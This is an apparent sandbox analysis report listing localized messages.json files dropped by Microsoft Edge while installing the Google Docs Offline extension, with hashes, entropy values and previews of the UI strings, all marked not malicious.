SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
